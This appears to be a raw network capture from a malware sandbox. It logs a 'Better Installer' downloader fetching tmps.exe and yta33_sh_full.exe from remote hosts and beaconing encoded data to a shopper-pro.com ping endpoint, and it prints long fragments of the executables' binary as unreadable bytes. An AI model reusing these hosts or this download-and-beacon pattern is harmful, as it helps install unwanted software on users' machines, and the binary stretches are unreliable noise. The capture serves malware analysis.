Connection: keep-alive

Cache-Control: private,no-cache, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:08 GMT

X-Cache: Miss from cloudfront

Via: 1.1 b9e26169e235acb41e173f2870b3e2c0.cloudfront.net (CloudFront)

X-Amz-Cf-Id: KkD-mp6ggD4TspIc9YHbLXgahMUGXIYbKJv0yir6PKA47WODNXXNpg==

abfgshdgfjhsk....

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1vw44q53d84jx.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Content-Length: 13

Connection: keep-alive

Cache-Control: private,no-cache, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:08 GMT

X-Cache: Miss from cloudfront

Via: 1.1 b9e26169e235acb41e173f2870b3e2c0.cloudfront.net (CloudFront)

X-Amz-Cf-Id: i5z-rW-Ykf4wnm9hxu4-epwGE-rMMISjep2qN_xOigzCSzPazoztQQ==

abfgshdgfjhskHTTP/1.1 200 OK..Content-Type: text/html; charset=utf-8..
Content-Length: 13..Connection: keep-alive..Cache-Control: private,no-
cache, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 2.0.5072
7..X-Powered-By: ASP.NET..Date: Thu, 08 Jan 2015 04:53:08 GMT..X-Cache
: Miss from cloudfront..Via: 1.1 b9e26169e235acb41e173f2870b3e2c0.clou
dfront.net (CloudFront)..X-Amz-Cf-Id: i5z-rW-Ykf4wnm9hxu4-epwGE-rMMISj
ep2qN_xOigzCSzPazoztQQ==..abfgshdgfjhsk..

GET /app/ping.ashx?e=aQQpsP6/AW3U0UsIWSR1jW9LKOllMFk562ls PLHCLDT03ZwnpMmri4u 59fITlqtmv4OlaXDlF0H0/8fBpMfpzI6WjgFlNrd6j7/wRBDsRoqvWX6JwkevDehHIxlAXyb98NyY 3Jv/oKdNf4wHzMP/l0k1T1nn7b588fAguahpqadCmmmNJTNNeVrTC3wKjmJzRidX4pF5NjXv5EZqqiuUcMgmj4Ul dhH2ZrpRFByrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEeNK5GwXtY6vrCFJaRRqFgOQeDtbd39 1E5F6pz0Kicuu7qt5SzSh3tN36Ip4IYgHiv5aB7SaJyf7/QCal5Ww1c= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: repjs.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:17 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Thu, 08 Jan 20
15 04:53:17 GMT..Content-Length: 0..

GET / HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: dl627.settleship.org

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 302 Moved Temporarily

Date: Thu, 08 Jan 2015 04:57:24 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: __cfduid=d944cb781b8eac360643f2c654396692c1420693044; expires=Fri, 08-Jan-16 04:57:24 GMT; path=/; domain=.settleship.org; HttpOnly

X-Powered-By: PHP/5.4.19

location: tmps.exe

Server: cloudflare-nginx

CF-RAY: 1a55d065cf6d0f7b-FRA

0......

GET /tmps.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: dl627.settleship.org

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Date: Thu, 08 Jan 2015 04:57:24 GMT

Content-Type: application/octet-stream

Content-Length: 199104

Connection: keep-alive

Set-Cookie: __cfduid=d944cb781b8eac360643f2c654396692c1420693044; expires=Fri, 08-Jan-16 04:57:24 GMT; path=/; domain=.settleship.org; HttpOnly

Last-Modified: Tue, 06 Jan 2015 18:40:02 GMT

Content-Range: bytes 0-199103/199104

Server: cloudflare-nginx

CF-RAY: 1a55d0663f760f7b-FRA

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......]..L........
.....f~.........6.....B.......w.......p.....Rich......................
......PE..L......T.................`...................p....@.........
.................0.......].......................................p..&l
t;........H........................... ...............................
................p...............................text...._.......`.....
............. ..`.rdata.......p.......d..............@[email protected]...
[email protected]..................@..@...
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
................................................%. @..%. @..%. @..%. @
..%. @..%. @..%. @..%. @..%  @..%$ @..%( @..%, @..%0 @..%4 @..%8 @..%&
lt; @..%@ @..%D @..%H @..%L @..%P @..%T @..%X @..%\ @..%` @..%d @..%h 
@..%l @..%t @..%x @..%| @..%. @..%. @..%. @..%. @..%. @..%. @..%. @..%
. @..%. @..%. @..%. @..%. @..%. @..%. @..%. @..%. @[email protected].
......].U....V..t..u. ...xu...:[email protected]....^].2...U..QQ.F<.L
04;[email protected]...... ...t.SW...U.y....E.....tD.H..M..M....f..f........
....y.I......A...f..t....u"....1.E..E..9}[email protected].@_[..3...U

<<< skipped >>>

GET / HTTP/1.1

Range: bytes=99552-

User-Agent: Better Installer(Mozilla)

Host: dl627.settleship.org

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 302 Moved Temporarily

Date: Thu, 08 Jan 2015 04:57:24 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: __cfduid=d944cb781b8eac360643f2c654396692c1420693044; expires=Fri, 08-Jan-16 04:57:24 GMT; path=/; domain=.settleship.org; HttpOnly

X-Powered-By: PHP/5.4.19

location: tmps.exe

Server: cloudflare-nginx

CF-RAY: 1a55d065bf6c0f7b-FRA

0......

GET /tmps.exe HTTP/1.1

Range: bytes=99552-

User-Agent: Better Installer(Mozilla)

Host: dl627.settleship.org

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Date: Thu, 08 Jan 2015 04:57:24 GMT

Content-Type: application/octet-stream

Content-Length: 99552

Connection: keep-alive

Set-Cookie: __cfduid=d944cb781b8eac360643f2c654396692c1420693044; expires=Fri, 08-Jan-16 04:57:24 GMT; path=/; domain=.settleship.org; HttpOnly

Last-Modified: Tue, 06 Jan 2015 18:40:02 GMT

Content-Range: bytes 99552-199103/199104

Server: cloudflare-nginx

CF-RAY: 1a55d0662f740f7b-FRA
&wts&gvrsYn^znX])nSwQr\s(ITwf/)\'Y{[ykXwz &sRsX\(IS]IYs]RIT\)rE]fY\HWn
fr{l)nttYiut*n{~UrJqXqX'|qWkhitggn&t mWx*mhkgqQ&.\RsQ^(s mumW"vhUmusYu
u&wts&gvrsYy])\(n{mXuR/JwsYn^znX])nSwQr\s(ITwf/)\'Y{[ykXwz &sRsX\(IS]I
Ys]RIT\)rE]fY\HWnfr{l)nttYiut*n{~UrJqXqX'|qWkhitggn&t mWx*mhkgqQ&.\RsQ
^(s mum&"vhUmusYuu&wts&gvrsYn^znX])nSwQr\s(ITwf/)\'Y{[ykXwz &sRsX\(IS]
IYs]RIT\)rE]fY\H&r|rhwhqur}iuEfqKFUr{J)mv&Zm{\&iu~*mKx qKEgrJq(q)&.\Rs
Q^(s mum'"vhUmusYuu&wts&gvrsYy])\(n{mXuR/JwsYn^znX])nSwQr\s(ITwf/)\'Y{
[ykXwz &sRsX\(IS]IYs]RIT\)rE]fY\H&r|rhwhqur}iuEfqKFUr{J)mv&Zm{\&iu~*mK
x qKEgrJq(q)&.\RsQ^(s mum("vhUmusYuu&wts&gvrsYn^znX])nSwQr\s(ITwf/)\'Y
{[ykXwz &sRsX\(IS]IYs]RIT\)rE]fY\H&nhnuJ(qur|iuq'oumUm{x)o|&YqKlXitt(n
JkgrhlWnu\'qy&.\RsQ^(s mum)"vhUmusYuu&wts&gvrsYy])\(n{mXuR/JwsYn^znX])
nSwQr\s(ITwf/)\'Y{[ykXwz &sRsX\(IS]IYs]RIT\)rE]fY\H&nhnuJ(qur|iuq'oumU
m{x)o|&YqKlXitt(nJkgrhlWnu\'qy&.\RsQ^(s mum*"vhUmusYuu&wts&gvrsYn^znX]
)nSwQr\s(ITwf/)\'Y{[ykXwz &sRsX\(IS]IYs]RIT\)rE]fY\HWsgmu[|nJq&ius{mhx
UnWEgmL&WrtggiuF(m&wgous|rKx qy&.\RsQ^(s mum "vhUmusYuu&wts&gvrsYy])\(
n{mXuR/JwsYn^znX])nSwQr\s(ITwf/)\'Y{[ykXwz &sRsX\(IS]IYs]RIT\)rE]fY\HW
sgmu[|nJq&ius{mhxUnWEgmL&WrtggiuF(m&wgous|rKx qy&.\RsQ^(s muqZ"vhUmusY
uu&wts&gvrsYn^znX])nSwQr\s(ITwf/)\'Y{[ykXwz &sRsX\(IS]IYs]RIT\)rE]fY\H
&t'o{w}mum iuhWr{tUq&rhqv&Wrtt iuggqulWrKJ(otw|qy&.\RsQ^(s muqY"vhUmus
Yuu&wts&gvrsYy])\(n{mXuR/JwsYn^znX])nSwQr\s(ITwf/)\'Y{[ykXwz &sRsX\(IS
]IYs]RIT\)rE]fY\H&t'o{w}mum iuhWr{tUq&rhqv&Wrtt iuggqulWrKJ(otw|qy&.\R
sQ^(s muqX"vhUmusYuu&wts&gvrsYn^znX])nSwQr\s(ITwf/)\'Y{[ykXwz &sRs<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=250000-499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Mon, 17 Nov 2014 23:18:21 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 250000-499999/7592848

Age: 1329

X-Cache: Hit from cloudfront

Via: 1.1 a262179f91ffeedba17fe1315b3865cd.cloudfront.net (CloudFront)

X-Amz-Cf-Id: s6SyXXicZUwJGMF3M_llc2OwLKkUkiV6UCqubr5RlnybAC2p-hR2VQ==
.L.[(Y...p..Iju.p.<..)..V....Dm...x%...H2..\1|.NZ1.h.r.%.m"I.......
[email protected]/......w.h....../i..P.......:..L.H|..&.s....E.M[..H....V.
,[email protected]{.......z.g...=..i.G.........-f.x....9..]Oh.S..
M....K....Y.k$..ta.._k...6>|h.\..pH.l.../_Gba.>t. [email protected].
..T...t{Rz\z.}.. E2.B......xF..`[email protected]......
dQ.&jM.....IAX3.7.O..\....IH.R~......#.S..j]g.....%...&...5E...PF..3.;
......\M. c>'/.......Km..sRBX.....H...)@...F..ao.;h......3.FE......
.RX...U.C..k.E1...|f.*.u[.Q5... ..WpDRw.I.$D.......0...ti.....P.;...X]
.g..2.z..[1...R.H..0c...{.....Ey)[email protected].~n#.}?.....[W".<.F......{5..
...fU"/P..!...P<B....w.I.#..DS4:X"%.... ....|[email protected].....,...
M.o)...Eg.......n6..i.JJsYl.$..?.`....o.."........mA\.gX.....e~.....|.
.......M..G...?....?..._?.D..z...7A...&.....O....d.[.......[..........
.q.@p(J..m....t.P .JS.q...$~Y..U.&:...N a..X..L...tL...;.:.On......: Q
 ,{.=..A..d;...a.....*-6.`1...:|7..Y...../...(..). ^R.u..K...1P.n..k=c
CF......r..(M.Rr.E....J..!^...e.y...P.E../.w.N.T....].[.[....&..i..5.m
d..h.x...L.......Q..:.b..E._.V.$f...5..df.W.....'..{....~..' ZY4..2...
......."......f.?.@[email protected]$.4..L(.....YVZ.&..P....A.V..>.p..Sb.h.H
]B.....\h..t..8...u.o....Y.q..Y.......kK.U(.f.J5.3 .......; 4n......0.
k.......\.X.q............d.N..k.mgN$..F|\Dy.w..q."...m....^h.....L4...
..IH..vwW%;.c..2v`.....x..9.G.YjQ.W....C....AQR'...:......3.u.. ..D.n.
.a..S.Jmh.qFZ...).G%.m....c?...\..'t......b..z..._0.;z...$Z\s..Q......
4Ue_q.......D.YDN.i{..V.X...;H..K....Z.~....F....G.F=.zg..O..'..r.<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=750000-999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Mon, 17 Nov 2014 23:18:21 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 750000-999999/7592848

Age: 1329

X-Cache: Hit from cloudfront

Via: 1.1 a262179f91ffeedba17fe1315b3865cd.cloudfront.net (CloudFront)

X-Amz-Cf-Id: AET_8__A_GBDhomZJjVddmc1VtqWFoG0jEdNFYT21IIil1IDfiwVkg==
..h......3.L......Y2..v...i(......_..-..3......!...C..(...2......Q....
..A.l...x.Gd.a...F...w...q....D.E.....vw.H....o....C...c`.A...!......f
...J...U.....Cs... ...v....j......n........L.....FQi..7j..#...Q....W..
-..m..<e*.<.%n.\..[....Y.k.......kyV#......;......o....M.....i.f
..BZU,..L.5_VGn~V.:.$.C..[......f.O...h.........w]..E.T..r.~..~...f..8
..?TO..4.[....;-).WH....M.....D4.......d..Dein.g.<.A#I........7....
[email protected][email protected]"q.\.. 6u.j.....!x.B3...8>
......"F..;.8%.9.......x[......d<....o.........".P...)............H
..|.....l.K2a....d....<zi@e;=...%AG..Qxg8..zL...o..........h....px$
..;Y........}XL.K.p.70...C...B. ..ep..."......A......=NQ7.1>m.V..|M
f.`<..?.......F........3..t.:.......A..F..).....H........=.... :].'
..0..z....CY......,.e..Nq...Xojn]3.../.....}q....a......x...0._. ....?
N,...x.*.di..>>Jy.u;..rU{X...wY.sn.-.x.....*H.{FP......'...w....
..g(.._.).......F...._......i.O.o....,..&lP..Nb...0:F.N.....x.....p...
.......=p4.I....8.....W0.Z.....}.......7\.bJ.t|....Zh....y;..W...G,...
.......C...t=oa....N..9.....)....._..~..........-4.e......O.......v(K.
.w..B....ucN9.P...Q.....\..`...P*.q...S...d.{7..12...0k...G.....'4...L
W.Xn_..l;*..v...$y......):.nf..i...F..g..u6.].M.n.............-N.*Fl2.
.[..n$..,{..:9_.'..Z...........=J.(..1.-....W^...].S......O3..........
..j.X..'|_..k... t}..d.V...Tl...v.G..7.@.'C.zt.qp...1b......gGW...X$..
......&>..r]..8..........2hR!.79x.....b..].....o.p..L....NA....g.l.
{..yM&.}...(1...V...}....I............F1....!T&.&c.-..4E-.#._.f.@.<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=1500000-1749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive



H:...&.....,.L...z............?......z,....-.l.Ht.X...(.L...{.FR.&.U..
6..G....7L..si....=c....... K.....=.....Zm)O.9}.Q..............?.I@..,
7.f"....i.K.p........]o.u.:O..1;.CL.DKk...X8h.4.v#M&m....p..}....d.,..
.o.Y.R.Ph8r..Y..........BM}..Z.`kg. RHd..G8.wap..WJ.t.r,.s4H......vS^.
.>!pg,.,......`(.#....q...Ix.....4.QF.$.Ep,.e.V....P.6.@.]......ke.
..?. T..f..q..5..'.3..yT.h..B.i...s.w.)[email protected]$.....M..;..p.Qy.<..Z
..]T...cl...O..9.....J.1..L%.....}AL...._.E..K.%.....=.......C..R....s
^....r..}..&.....H.][email protected]#g..co.L6o..#.....V..e.....
..7{&......q....T .<.0.g.....b.v...6.. ..7..$.........rE..y....;L..
..d.....).....>.<...........`';z..WLq..{6_.8......`W..V.P..P.b7Y
.|...C............./....L`_..`..2..... .q........B.A.z. ~IH]........qy
.1..X.Ma.....k....w.b3..1"...........w..............^.U......s.......c
X?....kr.....OE.O..../.J...p..#.PB.....j......s...#.<..4.....Z.o...
D#Fz.s...! w/.W..$.I...nl4N......J..{...>..^.l.3.n.n.....Cy..e...~.
..`..a....D.*.=.2.T..J.ZS....J.....C..<.0(.sG..D.....~'.n.[....S...
..........H.j EqB>.....%...D:..h..\r...o............f..F...../F.6.~
,s...n..B.u..*..B.."...c...5..N.."..9.......r..`.4...'BZV...c..z.f-...
......Gt...iN.....n..4x.\9nX0=....&./...~.....{<(...V..f.......hh..
.._l^...$...R.v...".45"q..4.7.K....u..\a....S..#OI...[.(.p.n.!.$..'`.}
... .t....`....-y;s..w....._....5.D....U0..L.. ...y;O.A....w!1Y.....M.
}...E.t.....`....2....t..6..K..T.h...&.^j#.....,...8.K....v%......J..G
.*C.Q.J..t.ju.......T6.R.4h.s.7e....*.Y.....N...R..(c<...7..a..<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=2000000-2249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive



C.G.n...i/wW.x...o@..,z..$6.;........R..q..l7t......X.w.......vB."....
..p...f..Q.{z......D.[...~.0..o....P..!.g..M;.l.N...N...b.h..C......w.
...|Y?....%..... ...!.|..b...7.m.SO*-VV.C...V.s5...._.b......ds>x5.
sL.B.-1.v..8v.D.]8..QdMq...,.J.....Dc....ha.t.Mw..=Ns...!..,.......)..
T..i.m.._..w.....&=.N..A.h)..f.`..E..O#.|6.9w@..*.u.....J.~e.:.U.*}..5
.(..[F.V.......=...........s.EM..s7.N.c.V..mk..\'W.......~%...^....k.}
...:.....:.3....h.|.$.?>....(.Tg}..y.<.|./..q?.91q.Q.`.........E
..2......Zo.k>..z..H....U.6^*..VcjA....,\._..............4.)..l0.8'
..F%W..)3......Gt................2.4..H,.a.a...oF...H.I.....UJ.o......
......z..7..G..'...E.z?^6........E.....{...7Gl)......*....k.n.q..&....
=n...........[6..A[6n.[.=].....ngQ...W3..m.(...p...y......v.. 9.=..vKD
.".......?.l.t.... .7M..7.D`......q.fg...x...q...../...A.,.n<4..u5.
o0u..>Fm...Gg..sG....}..-....m.2..S.~... Xz.._....Qq!....<,....h
....Ir.. &.l...5.p.\>eau.......!...'...G5.Q.....B...h.$.~..T..i..j.
.c*.>.X.=7..cf..]".u'.....g.Q..T~wlY.\Et...N-.k.o......x.5<.cy..
@~..6....F.g....,i^.E\.bX....l 6k....A{..D'e....g...{.....O.o.O......$
...2..&......bC%?<.k.......F(;.s.).F.6.I....s.S;....&...%t....U.Ok|
.=.#..l....g:K.x...z...]3..AO.k.....1.... .S&.....Xv...........!...=._
.c.z.H..B..E...t...SC.....F{....`..l!g..q27..x...cx...o........D......
.U.2.7 ....{....7].^.<Nw..{.Ih.,/.....h;....<.....^.v.fC.a.}.t.?
.%`R..[....n=....kg.5.g.......>.....E....U#n.q. ......T.s7........l
....S}....'...}x=.:^-.i.F.AC...b..-......J.#.*.1.U .9.|[email protected]<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=2750000-2999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=3500000-3749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Mon, 17 Nov 2014 23:18:21 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 3500000-3749999/7592848

Age: 1330

X-Cache: Hit from cloudfront

Via: 1.1 a262179f91ffeedba17fe1315b3865cd.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 6ENl4rL13xV58VOxjLn0m7w4rP1IKeglGkwpVug47IEWiIEeBapxxw==
.....>F.o..]..........w.Q.._.....f.._.C.......o..T.-..{z..Ov....2..
*j..N.....a.....F....&.\.I.......'.....&..S?.......L6.......p.....]P..
.d..i...,n4o..........'..Ol0....v..kS.b....g.kS6...{.G...*....N.z0.G.3
...F.Uj......W....w...0(W......f.........W1.)...; .....Cv..v.{...}....
c$;.:.{....#w(.Tq.......%k..e ..oDt.h.............5..........d.usD....
...?u...#~.P.......,b.~.n..s.:..m..V.2'.0....8d.ll..0.k:b.......,....Q
.>..@~....n.....".(.|X...=?.W.......C4.o`/.....dm..P.D......n....U.
.&#.W...rQ.......c...7.g ... ..^.. ..T...a,..../Vv4...).....\%..:.W...
../Q.Q=..p.-a....-.........8.>..U...O.2.....t].......*...;.....%...
^)...r.G..>V.(. .E...(._...../.IWW. y...f.E....p......B#.#..F#.....
@.w.?...Y.....J[^wnN.wn.z&....}.w.j2}..ll..4i.=5.P1.{zrK._T...e.......
......U.T.)...............k.....M[.o&..|L[....Oa ..p..&-....sk.k...Xa.
.-\..5..'...Q?j........n...2... T.h. ...&...q..!.....f..\i. O.`..\.TQO
..Mhv)....p......^..... ......i....2...!..;)>.7.U..7.3m.?.......y(.
.-q.......G....^3.'...G...O,,.......C\.....M....mb...l......I*.E....(.
..}...Ko5.,:&M...Wc.1.....M......bH.%[email protected]"i.t.r..O^uJ..8MIJ. K.
bwK.....\c. ..)...I..s....s.......@ S.....KE........Y.5.b ...aI...[*h=
U.u..D.....2.ie...|..v.....7..\..jRCgJIB!..C.o&S.R.%..E.rE.....=...N..
R.@.........!........EU.  ..1......}...R.<.....B*..d....R'k........
2..9...N.:.Z..f9....Nro4.w..\[email protected].....#N....c
..3.U..X..Su.][email protected]~.....UE....X..].q.Cwi..X.......
... ......}......2/[../..gz..n.=Q..E.I..d..2...l...>b.NoF..L.P.<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=4750000-4999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=5250000-5499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Mon, 17 Nov 2014 23:18:21 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 5250000-5499999/7592848

Age: 1330

X-Cache: Hit from cloudfront

Via: 1.1 a262179f91ffeedba17fe1315b3865cd.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 8UuJfWCrXEcuu2pwc_u1hdSXiNw3VGkB5Utvf4_ZbmqeTJ7g7efCeA==
R.....%...q....t.6.N....j8....Uk...d.p.P.@)....g..U.?7...T..nXb....y}R
njog>..u....?.k..x.`.>........,..Q.A..:,WE.........4!H#..l.9!.DK
.8..#..........5?.$.F..0.;....P..Y..Z..9....1.}.`....... ..z!T8..m.i.k
..*,...Qa.$......>.T5....C...5.hP..D. .&..1...b......Pd.yE..*.7R-..
......~.......B......X.. n..r.(...R......3:TU^.CM..D.. .NU...|.S....Uv
Fl..!...b,..d;...=.s...pkFQ.;....%......E..$...........9..tK..#.!D... 
jk...%.m.M..V..Q'..1..aQd..l1...$.q..T*cw-....v...5..[`...B.[..,.)!..e
.....).Z..Y).0C..:...0N.dx...[ .pz..9...A.....ga.DH.)..[.#..l.%J...DYQ
14.e..7....3A..SC.......P......;....)...#.......>...hm...7.d.5 .jk.
g.y.aZd....~...3...j.j...Y.6.>..z.9.........M.....Gf......*......L.
b}......SEq........F..Y..U}[..d......i..S..aj..(8.$...-..t.....t9.....
.s.....;.'...K..NO..*..cO..(.......O..../#L../...p...0..A..]O7....@}W.
~...s.].3C...!.z>.....E.s.../..B.V..P=.@,}.:Q-...A=i....`....".9...
.2_7....w|.5/.c...=k.0..uC..UD7..........?...........s..p....,N..g.3..
X?k.&..p...VOz3gc>u........4.:...,.wK..FJB.&..n....>@..#P*....pB
}.n..B. .'^P..&..:>.IN...........x..'.)qM....h.c...zj_.."1*.)1.^..L
(..j.c..0O..`.i).9yM...O...l3...G..ghT...Q.....A.2...^..._.|......5~S.
s....K.{[email protected]....#@........f.[,............2.J...=..\..l.B
.g...=./.u..'...7.M.j../...(^.l. .cB.W.".z81..QHQ!q-...~........1F....
..........^.."....[v...5.W.V.e....GF..*._.|=.]........#.<..:u3T;.`l
)......9;..A....x.m.....T.~..^.0.WJ..& `....A..Hb.....W...z..n M....#H
...UIHW..5...[5..,......
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=6250000-6499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Mon, 17 Nov 2014 23:18:21 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 6250000-6499999/7592848

Age: 1330

X-Cache: Hit from cloudfront

Via: 1.1 a262179f91ffeedba17fe1315b3865cd.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 4wp3lLBBXJ4EstgsZ9tK-P1tOdSJpY19cv3mfxH0oSJvKrP8hRdnpA==
...\......iy..,.n.|)...Mo1.K.. .zYm..\5.].4......%....0q......f....T.V
;`3E.k[.Px.M..j^...x...l.D.....'z/.H?.y9-.%y..&..C?!j..ma&%.....&.....
.C.6.%.L5..i'B.b4....=.g.."..C..^A()....-o!...T...I.....g.Q.V...F...H.
.^16e.\]...s|..0[F...d...4..,....E~>....4.x.N....(U.7....R.:..=gl.m
....#i......{.l.p...;....a..../....s.K{........^4.....&..q..Y.......o 
.......80..di.^5D^V..K.....{...."eB....w.:.%..KJ...."..!..K...E.t.....
.O....wmW.#....}`..53>.t^.x..!IO....h......6.../sz......{gW...v|.h.
[email protected]/..%.k.....H9&...6WX.&..2....z3y=
$....:...|.ko.8.E08kW/W...-..e6}6.>.T....D...qv..ETP.v.sU..o..x.W..
..{....iBu..>....F............J}..Z.U....=rZ=.#@..X.*[email protected]
_...c..&.....$..t..1#..0.vm;?n...........j. ..2....:N.......JY.}.N.6c.
...a...d|..<G.....}....m.^...95Tyh.....h....s4.....A.&...T..H.....1
I...3......'..W.H.I...E.qa6.A..@%.^.......y5~/Lu.........G...V..X..1.G
tk...O.L].).l.17..A.....L..'lEi......m.N..n{^.B.h.X. .......A^..R.....
)S.F.?[.6.~-o...La.p.8E.q2...;/N..oo........&..w.....(...e..2.l.X_... 
....B`.T$7......).j..!SO.1.\..a....l..l...FP.^....=&...{..A..N.Z.YqP.E
.....x .r..~R.!.4d.vnSCr..q@&K...J..XFS.R..f..7I....c.4......4.L6L..b.
e.q.r...2fA..h....e..2....ms..;Zz..\...)........^2.....D...}...Sk]n..h
TS..".uh.&..c3W..h..p|.e'U.b~ma..`.&U..,[f..*M.~.d'....%..2..tn...T...
[email protected]...!....`."$.......3&...t ...u..`.hD....E......L`.g.JE.i..
...M@...~.E.U..va #....N.3\7Q.`.......=.%..P<...c<B..]..M....?D.
rDW..}k._.a:.\V:....d8.5......i.&4.8.....[4d....=.s..D.. ....b.Q..<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=6750000-6999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive



...U3}..>...mH61...Jd.a.A.C.....N.bC..Q/......o.!!...xK..Z|..{Z.G B
.Y..!......W...o7...^S..E]o........[....gM.....f..2'w.2............M..
.3|H.z...........:.. ..|.v.....4..........{..P...\@....:..j...A.K...D.
-...az...x!...\g....X..9.k.i..-:...0....O......K>.`..[..{....X..z..
M.....%>Lb....vn...6..d/...E_..8..r..qe......J._..:.......O..-a..M?
.....KUp>..=RMG..HC%..`hcr5..7f....K.b[.m6./p....6,.0x..v.....>.
_..4.x.h .~.P".w.I.Jz....w1`8... ......f...y..&.T......'....j..l.9.q]"
..4r......K............ .o.vR..A G'..f.,..s...'...N....9./r*B,......{.
.......{..}....=.0....:A.ln.N<.c..[.r....CP..8F.Q..*......'.Kn..)..
....b...\n0.TZ.n.i.|Nl......|I..\...Q...@`41.$.Yy?..I..W%{.....s.}Y.wV
....a\. .2...tTK....Le.....f..c#.Kr.)/...>..h...Sh.O.f......J..3..&
gt;..Z..7.Z0.0...{...t."Vh.J%M.P/...,....../"...(..Y.T.>..l..S...{.
....."[email protected]...#.Q~..}TZ.c.$`[email protected]...>
...5Q........u..?.........."...b%....h...`....{/.x).gY...2.x.........y
,.\.S.l..E.P.Bh)..f...tk.C../../.........h.k.&..M`<..b.Q.6....{.&..
./2.Ga.-..T.9.l.@^...ln.;...B....}....v...W.a.....<e....WS].A....st
 *.9..\....A.........p..\.._.K....=.OL.\....&\E.. ).9y.*.6`Oy..5Y.{.b8
